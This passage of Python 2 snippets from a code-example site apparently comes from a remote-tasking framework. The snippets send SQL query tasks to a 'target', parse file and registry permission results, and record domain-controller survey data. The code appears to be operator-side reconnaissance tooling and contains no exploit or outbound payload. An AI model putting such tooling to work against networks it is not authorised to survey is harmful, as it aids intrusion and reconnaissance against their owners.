                    rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_COLUMNS
                    xml.AddSubElementWithText('TableName', tgtParams.tableName)
                    tgtParams.Marshal(msg)
                elif lpParams['actionCmd'] == _CMD_ACTION_EXEC_QUERY:
                    if lpParams['queryString'] == None and lpParams[
                            'queryFile'] == None:
                        mcl.tasking.OutputError(
                            'A query string or file must be specified')
                        return False
                    tgtParams = mca.scre.cmd.sql.ParamsQueryStatement()
                    tgtParams.baseInfo = queryParams
                    if lpParams['queryString'] != None:
                        if len(lpParams['queryString']) == 0:
                            mcl.tasking.OutputError(
                                'Query string must have a value specified')
                            return False
                        tgtParams.queryString = lpParams['queryString']
                        xml.AddSubElementWithText('QueryString',
                                                  tgtParams.queryString)
                    else:
                        import mcl.tasking.resource
                        if len(lpParams['queryFile']) == 0:
                            mcl.tasking.OutputError(
                                'File must have a value specified')
                            return False
                        resFlags = 0
                        f, openedName, usedProject = mcl.tasking.resource.Open(
                            lpParams['queryFile'], resFlags, None, None)
                        if f == None:
                            mcl.tasking.OutputError(
                                "Failed to open local file '%s'" %
                                lpParams['queryFile'])
                            return False
                        try:
                            import os.path
                            import array
                            fileSize = os.path.getsize(openedName)
                            if fileSize == 0 or fileSize > 4294967295L:
                                mcl.tasking.OutputError(
                                    "Invalid file size (%u) for put of '%s'" %
                                    (fileSize, openedName))
                                return False
                            fileQueryString = f.read()
                            try:
                                unicode(fileQueryString, 'utf-8')
                            except:
                                mcl.tasking.OutputError(
                                    'Input file could not be parsed as utf-8')
                                return False

                        finally:
                            f.close()
                            f = None

                        tgtParams.queryString = fileQueryString.strip()
                        xml.AddSubElementWithText('File',
                                                  lpParams['queryFile'])
                        xml.AddSubElementWithText('QueryString',
                                                  tgtParams.queryString)
                    rpc = mca.scre.cmd.sql.tasking.RPC_INFO_EXEC
                    tgtParams.Marshal(msg)
                else:
                    mcl.tasking.OutputError('Unhandled action type (%u)' %
                                            lpParams['actionCmd'])
                    return False
        rpc.SetData(msg.Serialize())
    xml.AddSubElementWithText('ConsoleOutput', 'true')
    mcl.tasking.OutputXml(xml)
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.scre.cmd.sql.errorStrings)
        return False
    else:
        return True
Exemple #18
0
def _handleQuery(ACE_FLAGS, ACE_MASKS, msg, output):
    qmsg = msg.FindMessage(MSG_KEY_RESULT_QUERY)
    owner = ResultQueryInfo()
    owner.Demarshal(qmsg)
    queryType = 'Unknown'
    if owner.type == TYPE_FILE:
        queryType = 'File'
    elif owner.type == TYPE_REG_KEY:
        queryType = 'RegKey'
    elif owner.type == TYPE_GENERIC:
        if owner.objectType == 0:
            queryType = 'SE_UNKNOWN_OBJECT_TYPE'
        elif owner.objectType == 1:
            queryType = 'SE_FILE_OBJECT'
        elif owner.objectType == 2:
            queryType = 'SE_SERVICE'
        elif owner.objectType == 3:
            queryType = 'SE_PRINTER'
        elif owner.objectType == 4:
            queryType = 'SE_REGISTRY_KEY'
        elif owner.objectType == 5:
            queryType = 'SE_LMSHARE'
        elif owner.objectType == 6:
            queryType = 'SE_KERNEL_OBJECT'
        elif owner.objectType == 7:
            queryType = 'SE_WINDOW_OBJECT'
        elif owner.objectType == 8:
            queryType = 'SE_DS_OBJECT'
        elif owner.objectType == 9:
            queryType = 'SE_DS_OBJECT_ALL'
        elif owner.objectType == 10:
            queryType = 'SE_PROVIDER_DEFINED_OBJECT'
        elif owner.objectType == 11:
            queryType = 'SE_WMIGUID_OBJECT'
        elif owner.objectType == 12:
            queryType = 'SE_REGISTRY_WOW64_32KEY'
        else:
            queryType = 'UNKNOWN'
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('ObjectPerms')
    xml.AddAttribute('type', queryType)
    xml.AddAttribute('name', owner.object)
    xml.AddAttribute('accountName', owner.account)
    xml.AddAttribute('accountDomainName', owner.acctDomain)
    xml.AddAttribute('groupName', owner.group)
    xml.AddAttribute('groupDomainName', owner.groupDomain)
    xml.AddSubElementWithText('PermissionString', owner.permString)
    sub = xml.AddSubElement('Flags')
    if owner.flags != 0:
        if owner.flags & RESULT_SD_FLAG_DACL_AUTO_INHERIT_REQ:
            sub.AddSubElement('SE_DACL_AUTO_INHERIT_REQ')
        if owner.flags & RESULT_SD_FLAG_DACL_AUTO_INHERITED:
            sub.AddSubElement('SE_DACL_AUTO_INHERITED')
        if owner.flags & RESULT_SD_FLAG_DACL_DEFAULTED:
            sub.AddSubElement('SE_DACL_DEFAULTED')
        if owner.flags & RESULT_SD_FLAG_DACL_PRESENT:
            sub.AddSubElement('SE_DACL_PRESENT')
        if owner.flags & RESULT_SD_FLAG_DACL_PROTECTED:
            sub.AddSubElement('SE_DACL_PROTECTED')
        if owner.flags & RESULT_SD_FLAG_GROUP_DEFAULTED:
            sub.AddSubElement('SE_GROUP_DEFAULTED')
        if owner.flags & RESULT_SD_FLAG_OWNER_DEFAULTED:
            sub.AddSubElement('SE_OWNER_DEFAULTED')
        if owner.flags & RESULT_SD_FLAG_RM_CONTROL_VALID:
            sub.AddSubElement('SE_RM_CONTROL_VALID')
        if owner.flags & RESULT_SD_FLAG_SACL_AUTO_INHERIT_REQ:
            sub.AddSubElement('SE_SACL_AUTO_INHERIT_REQ')
        if owner.flags & RESULT_SD_FLAG_SACL_AUTO_INHERITED:
            sub.AddSubElement('SE_SACL_AUTO_INHERITED')
        if owner.flags & RESULT_SD_FLAG_SACL_DEFAULTED:
            sub.AddSubElement('SE_SACL_DEFAULTED')
        if owner.flags & RESULT_SD_FLAG_SACL_PRESENT:
            sub.AddSubElement('SE_SACL_PRESENT')
        if owner.flags & RESULT_SD_FLAG_SACL_PROTECTED:
            sub.AddSubElement('SE_SACL_PROTECTED')
        if owner.flags & RESULT_SD_FLAG_SELF_RELATIVE:
            sub.AddSubElement('SE_SELF_RELATIVE')
    while qmsg.GetNumRetrieved() < qmsg.GetCount():
        if mcl.CheckForStop():
            output.EndWithStatus(mcl.target.CALL_FAILED)
            return False
        ace = ResultAce()
        ace.Demarshal(qmsg)
        sub = xml.AddSubElement('Acl')
        if ace.aceType == RESULT_DACL_ACE:
            sub.AddAttribute('type', 'DACL')
        else:
            sub.AddAttribute('type', 'SACL')
        sub2 = sub.AddSubElement('Ace')
        sub2.AddAttribute('typeValue', '%u' % ace.type)
        sub2.AddAttribute('type', _getAceType(ace.type))
        sub2.AddAttribute('user', ace.user)
        sub2.AddAttribute('domain', ace.domain)
        _addAceFlags(ACE_FLAGS, sub2, ace.flags)
        _addAceAccessMask(ACE_MASKS, sub2, ace.accessMask)

    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
Exemple #19
0
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace,
                                         'mca.survey.cmd.domaincontroller',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('DomainController', 'domaincontroller', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    rtn = mcl.target.CALL_SUCCEEDED
    while msg.GetNumRetrieved() < msg.GetCount():
        if mcl.CheckForStop():
            output.EndWithStatus(mcl.target.CALL_FAILED)
            return False
        statusResults = ResultStatus()
        statusResults.Demarshal(msg)
        from mcl.object.XmlOutput import XmlOutput
        xml = XmlOutput()
        xml.Start('DomainController')
        xml.AddSubElementWithText('DCName', statusResults.dc)
        properties = xml.AddSubElement('Properties')
        if statusResults.typeServ & RESULT_FLAG_TYPE_DOMAIN_CTRL:
            properties.AddSubElement('Primary')
        if statusResults.typeServ & RESULT_FLAG_TYPE_DOMAIN_BAKCTRL:
            properties.AddSubElement('Backup')
        if statusResults.extraInfoRtn != 0:
            sub = xml.AddSubElement('ExtendedErrorInfo')
            errorStr = output.TranslateOsError(statusResults.extraInfoRtn)
            sub.AddSubElementWithText('QueryError', errorStr)
        else:
            results = ResultDomainController()
            results.Demarshal(msg)
            xml.AddSubElementWithText('DCFullName', results.dcName)
            sub = xml.AddSubElement('DCAddress')
            sub.SetText(results.dcAddress)
            if results.addressType == RESULT_ADDRTYPE_INET:
                sub.AddAttribute('addrType', 'IPAddress')
            elif results.addressType == RESULT_ADDRTYPE_NETBIOS:
                sub.AddAttribute('addrType', 'NetBIOS')
            else:
                sub.AddAttribute('addrType', 'Unknown')
            xml.AddSubElementWithText('DomainGuid', results.domainGuid)
            xml.AddSubElementWithText('DomainName', results.domainName)
            xml.AddSubElementWithText('DnsForestName', results.dnsForestName)
            xml.AddSubElementWithText('DCSiteName', results.dcSiteName)
            xml.AddSubElementWithText('ClientSiteName', results.clientSiteName)
            if results.flags & RESULT_FLAG_DC_KDC:
                properties.AddSubElement('KerberosKeyDistCenter')
            if results.flags & RESULT_FLAG_DC_GC:
                properties.AddSubElement('GlobalCatalog')
            if results.flags & RESULT_FLAG_DC_DS:
                properties.AddSubElement('DirectoryService')
            if results.flags & RESULT_FLAG_DC_TIMESERV:
                properties.AddSubElement('TimeService')
            if results.flags & RESULT_FLAG_DC_WRITABLE:
                properties.AddSubElement('SAM')
        if statusResults.dcEnumStatus == 1:
            sub = xml.AddSubElement('AddlInformation')
            sub.AddSubElementWithText(
                'EnumQueryError',
                'Although all domain controllers (dcs) were requested, only primary dc obtained as enumeration of dcs failed'
            )
            rtn = mcl.target.CALL_FAILED
        output.RecordXml(xml)

    output.EndWithStatus(rtn)
    return True